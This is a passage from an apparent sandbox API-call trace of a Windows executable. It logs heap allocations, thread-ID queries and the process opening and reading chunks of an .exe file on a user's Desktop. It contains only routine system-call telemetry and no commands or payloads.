(HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2aa6fd0 [0073.390] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab91e0 | out: hHeap=0x2ad0000) returned 1 [0073.390] GetCurrentThreadId () returned 0x9b0 [0073.391] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x2a76ec8 [0073.391] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3488 [0073.391] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x48) returned 0x2a85a50 [0073.391] GetCurrentThreadId () returned 0x9b0 [0073.391] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab94f0 [0073.391] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2aa4598 [0073.391] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab94f0 | out: hHeap=0x2ad0000) returned 1 [0073.391] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a76ec8 | out: hHeap=0x2ad0000) returned 1 [0073.391] GetCurrentThreadId () returned 0x9b0 [0073.391] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab9058 [0073.391] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3488 | out: hHeap=0x2ad0000) returned 1 [0073.391] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab9368 [0073.391] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a85a50 | out: hHeap=0x2ad0000) returned 1 [0073.391] GetCurrentThreadId () returned 0x9b0 [0073.391] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2b62510 [0073.391] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2b62e70 [0073.391] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1800) returned 0x2abad28 [0073.391] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa6fd0 | out: hHeap=0x2ad0000) returned 1 [0073.391] GetCurrentThreadId () returned 0x9b0 [0073.391] GetCurrentThreadId () returned 0x9b0 [0073.391] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab87d8 | out: hHeap=0x2ad0000) returned 1 [0073.391] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0073.391] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0073.391] GetCurrentThreadId () returned 0x9b0 [0073.392] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x178) returned 0x2acea78 [0073.392] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2aa81e8 [0073.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a702e8 | out: hHeap=0x2ad0000) returned 1 [0073.392] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1800) returned 0x2abc530 [0073.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa81e8 | out: hHeap=0x2ad0000) returned 1 [0073.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2acea78 | out: hHeap=0x2ad0000) returned 1 [0073.392] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2acdbf0 [0073.392] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2acd018 [0073.392] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2acea78 [0073.392] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x400) returned 0x2ab87d8 [0073.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2acea78 | out: hHeap=0x2ad0000) returned 1 [0073.392] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2ab8be0 [0073.392] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x400) returned 0x2abdd38 [0073.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8be0 | out: hHeap=0x2ad0000) returned 1 [0073.392] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2ab8be0 [0073.392] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2b62768 [0073.392] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2b628f8 [0073.392] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b130 [0073.393] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b1c0 [0073.393] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b200 [0073.393] GetCurrentThreadId () returned 0x9b0 [0073.393] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b210 [0073.393] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b1d0 [0073.393] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0a0 [0073.393] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aba440 [0073.393] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab9c98 [0073.393] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab91e0 [0073.393] GetCurrentThreadId () returned 0x9b0 [0073.393] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab8ed0 [0073.393] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b080 [0073.393] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b080 | out: hHeap=0x2ad0000) returned 1 [0073.393] GetCurrentThreadId () returned 0x9b0 [0073.393] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba2f80 | out: hHeap=0x2ad0000) returned 1 [0073.393] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0073.393] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0073.393] GetCurrentThreadId () returned 0x9b0 [0073.393] GetCurrentThreadId () returned 0x9b0 [0073.393] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0073.393] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0073.393] GetCurrentThreadId () returned 0x9b0 [0073.393] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x178) returned 0x2acea78 [0073.393] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2aa4ba0 [0073.393] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab0400 | out: hHeap=0x2ad0000) returned 1 [0073.394] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1800) returned 0x2abe140 [0073.394] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa4ba0 | out: hHeap=0x2ad0000) returned 1 [0073.394] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2acea78 | out: hHeap=0x2ad0000) returned 1 [0073.394] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.394] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.394] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2a18100 [0073.394] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18100 | out: hHeap=0x2ad0000) returned 1 [0073.394] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b080 [0073.394] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b080 | out: hHeap=0x2ad0000) returned 1 [0073.394] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b080 [0073.394] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b080 | out: hHeap=0x2ad0000) returned 1 [0073.394] GetCurrentThreadId () returned 0x9b0 [0073.394] GetCurrentThreadId () returned 0x9b0 [0073.394] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab94f0 [0073.394] GetCurrentThreadId () returned 0x9b0 [0073.394] GetCurrentThreadId () returned 0x9b0 [0073.394] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2aa3988 [0073.394] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab94f0 | out: hHeap=0x2ad0000) returned 1 [0073.394] GetCurrentThreadId () returned 0x9b0 [0073.394] GetCurrentThreadId () returned 0x9b0 [0073.395] GetCurrentThreadId () returned 0x9b0 [0073.395] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0073.395] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0073.395] GetCurrentThreadId () returned 0x9b0 [0073.395] GetCurrentThreadId () returned 0x9b0 [0073.395] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0073.395] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0073.395] GetCurrentThreadId () returned 0x9b0 [0073.395] GetCurrentThreadId () returned 0x9b0 [0073.395] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0073.395] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.395] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0073.395] GetCurrentThreadId () returned 0x9b0 [0073.395] GetCurrentThreadId () returned 0x9b0 [0073.395] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0073.395] GetCurrentThreadId () returned 0x9b0 [0073.395] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab8d48 [0073.395] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b150 [0073.396] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71880 [0073.396] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.396] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b080 [0073.396] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0f0 [0073.396] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b080, Size=0x14) returned 0x2a718c0 [0073.396] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0f0 | out: hHeap=0x2ad0000) returned 1 [0073.396] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.396] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71880 | out: hHeap=0x2ad0000) returned 1 [0073.396] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b150 | out: hHeap=0x2ad0000) returned 1 [0073.396] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a718c0 | out: hHeap=0x2ad0000) returned 1 [0073.396] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x2ba4750 [0073.396] GetCurrentThreadId () returned 0x9b0 [0073.396] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.396] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0073.396] GetCurrentThreadId () returned 0x9b0 [0073.396] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5c) returned 0x2a874b0 [0073.396] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2aa6fd0 [0073.396] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab0ba8 | out: hHeap=0x2ad0000) returned 1 [0073.397] GetCurrentThreadId () returned 0x9b0 [0073.397] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a874b0, Size=0x84) returned 0x2a76ec8 [0073.397] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2acea78 [0073.397] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x400) returned 0x2abf948 [0073.397] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2acea78 | out: hHeap=0x2ad0000) returned 1 [0073.397] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab9988 [0073.397] GetCurrentThreadId () returned 0x9b0 [0073.397] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.397] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.397] GetCurrentThreadId () returned 0x9b0 [0073.397] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18100 [0073.397] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18100, Size=0x20) returned 0x2a1f8f8 [0073.397] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b080 [0073.397] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b150 [0073.397] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b080 | out: hHeap=0x2ad0000) returned 1 [0073.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab9988 | out: hHeap=0x2ad0000) returned 1 [0073.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8f8 | out: hHeap=0x2ad0000) returned 1 [0073.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b150 | out: hHeap=0x2ad0000) returned 1 [0073.398] GetCurrentThreadId () returned 0x9b0 [0073.398] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0073.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0073.398] GetCurrentThreadId () returned 0x9b0 [0073.398] GetCurrentThreadId () returned 0x9b0 [0073.398] GetCurrentThreadId () returned 0x9b0 [0073.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab5998 | out: hHeap=0x2ad0000) returned 1 [0073.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0073.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0073.398] GetCurrentThreadId () returned 0x9b0 [0073.398] GetCurrentThreadId () returned 0x9b0 [0073.398] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0073.399] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0073.399] GetCurrentThreadId () returned 0x9b0 [0073.399] GetCurrentThreadId () returned 0x9b0 [0073.399] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0073.399] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0073.399] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0073.399] GetCurrentThreadId () returned 0x9b0 [0073.399] GetCurrentThreadId () returned 0x9b0 [0073.399] GetCurrentThreadId () returned 0x9b0 [0073.399] GetCurrentThreadId () returned 0x9b0 [0073.399] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0073.399] GetCurrentThreadId () returned 0x9b0 [0073.399] GetCurrentThreadId () returned 0x9b0 [0073.399] GetLastError () returned 0x0 [0073.399] GetLastError () returned 0x0 [0073.399] GetLastError () returned 0x0 [0073.399] GetLastError () returned 0x0 [0073.399] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a200a8 [0073.399] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18280 [0073.399] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18280 | out: hHeap=0x2ad0000) returned 1 [0073.399] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8b150 [0073.399] GetLastError () returned 0x0 [0073.399] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0073.399] GetFileType (hFile=0x1e8) returned 0x1 [0073.399] GetLastError () returned 0x0 [0073.399] GetCurrentThreadId () returned 0x9b0 [0073.400] GetLastError () returned 0x0 [0073.400] GetFileType (hFile=0x1e8) returned 0x1 [0073.400] GetFileInformationByHandle (in: hFile=0x1e8, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0073.400] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.400] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.400] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.400] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.400] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.400] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.400] GetLastError () returned 0x0 [0073.400] GetCurrentThreadId () returned 0x9b0 [0073.400] GetLastError () returned 0x0 [0073.400] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b150 | out: hHeap=0x2ad0000) returned 1 [0073.400] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200a8 | out: hHeap=0x2ad0000) returned 1 [0073.400] GetLastError () returned 0x0 [0073.400] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=8599371, lpDistanceToMoveHigh=0x9ba638*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba638*=0) returned 0x83374b [0073.400] GetLastError () returned 0x0 [0073.400] GetCurrentThreadId () returned 0x9b0 [0073.400] GetLastError () returned 0x0 [0073.400] GetCurrentThreadId () returned 0x9b0 [0073.400] GetCurrentThreadId () returned 0x9b0 [0073.400] GetLastError () returned 0x0 [0073.401] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=8877249, lpDistanceToMoveHigh=0x9ba9d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba9d0*=0) returned 0x8774c1 [0073.401] GetLastError () returned 0x0 [0073.401] GetCurrentThreadId () returned 0x9b0 [0073.401] GetLastError () returned 0x0 [0073.401] GetCurrentThreadId () returned 0x9b0 [0073.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4567) returned 0x2ba4f08 [0073.401] GetLastError () returned 0x0 [0073.401] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ba4f1c, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x9ba998, lpOverlapped=0x0 | out: lpBuffer=0x2ba4f1c*, lpNumberOfBytesRead=0x9ba998*=0x4000, lpOverlapped=0x0) returned 1 [0073.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2abfd50 [0073.401] ReadFile (in: hFile=0x1e8, lpBuffer=0x2abfd50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba984, lpOverlapped=0x0 | out: lpBuffer=0x2abfd50*, lpNumberOfBytesRead=0x9ba984*=0x1000, lpOverlapped=0x0) returned 1 [0073.401] GetLastError () returned 0x0 [0073.401] GetCurrentThreadId () returned 0x9b0 [0073.401] GetLastError () returned 0x0 [0073.401] GetCurrentThreadId () returned 0x9b0 [0073.401] GetLastError () returned 0x0 [0073.401] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b965c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b965c*=0) returned 0x87c4c1 [0073.402] GetLastError () returned 0x0 [0073.402] GetCurrentThreadId () returned 0x9b0 [0073.402] GetLastError () returned 0x0 [0073.402] GetLastError () returned 0x0 [0073.402] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2abfd50 | out: hHeap=0x2ad0000) returned 1 [0073.402] CloseHandle (hObject=0x1e8) returned 1 [0073.402] GetLastError () returned 0x0 [0073.402] GetCurrentThreadId () returned 0x9b0 [0073.402] GetLastError () returned 0x0 [0073.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2abfd50 [0073.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2ba9478 [0073.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8000) returned 0x2bad498 [0073.402] GetLastError () returned 0x0 [0073.402] GetCurrentThreadId () returned 0x9b0 [0073.402] GetLastError () returned 0x0 [0073.403] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba9478, Size=0x8015) returned 0x2bb54a0 [0073.403] GetLastError () returned 0x0 [0073.403] GetCurrentThreadId () returned 0x9b0 [0073.403] GetLastError () returned 0x0 [0073.403] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bb54a0, Size=0x10015) returned 0x2bb54a0 [0073.404] GetLastError () returned 0x0 [0073.404] GetCurrentThreadId () returned 0x9b0 [0073.404] GetLastError () returned 0x0 [0073.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bad498 | out: hHeap=0x2ad0000) returned 1 [0073.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2abfd50 | out: hHeap=0x2ad0000) returned 1 [0073.404] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bb54a0, Size=0x9faa) returned 0x2bb54a0 [0073.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba4f08 | out: hHeap=0x2ad0000) returned 1 [0073.404] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x470) returned 0x2abfd50 [0073.404] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.404] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a17fe0, Size=0x20) returned 0x2a1f858 [0073.404] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f858, Size=0x40) returned 0x2a19058 [0073.404] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19058, Size=0x64) returned 0x2a19818 [0073.404] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19818, Size=0x8c) returned 0x2ac0e68 [0073.404] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0e68, Size=0xb8) returned 0x2ac1738 [0073.404] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac1738, Size=0xe8) returned 0x2ac2b60 [0073.404] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac2b60, Size=0x120) returned 0x2ba5180 [0073.404] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba5180, Size=0x160) returned 0x2ba64d8 [0073.404] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba64d8, Size=0x1a8) returned 0x2ac9990 [0073.404] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac9990, Size=0x1f8) returned 0x2ba7f80 [0073.404] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba7f80, Size=0x250) returned 0x2ac5098 [0073.404] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac5098, Size=0x2b4) returned 0x2baa850 [0073.405] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2baa850, Size=0x324) returned 0x2bab298 [0073.405] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bab298, Size=0x3a4) returned 0x2bacf30 [0073.405] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x27c) returned 0x2ba37c8 [0073.405] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bacf30, Size=0x434) returned 0x2bacf30 [0073.405] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x279) returned 0x2ba2f80 [0073.405] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x271) returned 0x2bad370 [0073.405] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x35d) returned 0x2bad5f0 [0073.405] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bacf30, Size=0x4d4) returned 0x2bad958 [0073.405] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x279) returned 0x2bacf30 [0073.405] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bad958, Size=0x588) returned 0x2bad958 [0073.405] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x22c) returned 0x2ab5998 [0073.405] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x41a) returned 0x2badee8 [0073.405] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bad958, Size=0x654) returned 0x2bae310 [0073.405] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25a) returned 0x2bad958 [0073.406] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4f2) returned 0x2bae970 [0073.406] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2f5) returned 0x2badbc0 [0073.406] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x241) returned 0x2baee70 [0073.406] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bae310, Size=0x738) returned 0x2baf0c0 [0073.406] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2ae) returned 0x2bae310 [0073.406] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2baf0c0, Size=0x838) returned 0x2baf0c0 [0073.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2baf0c0 | out: hHeap=0x2ad0000) returned 1 [0073.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, 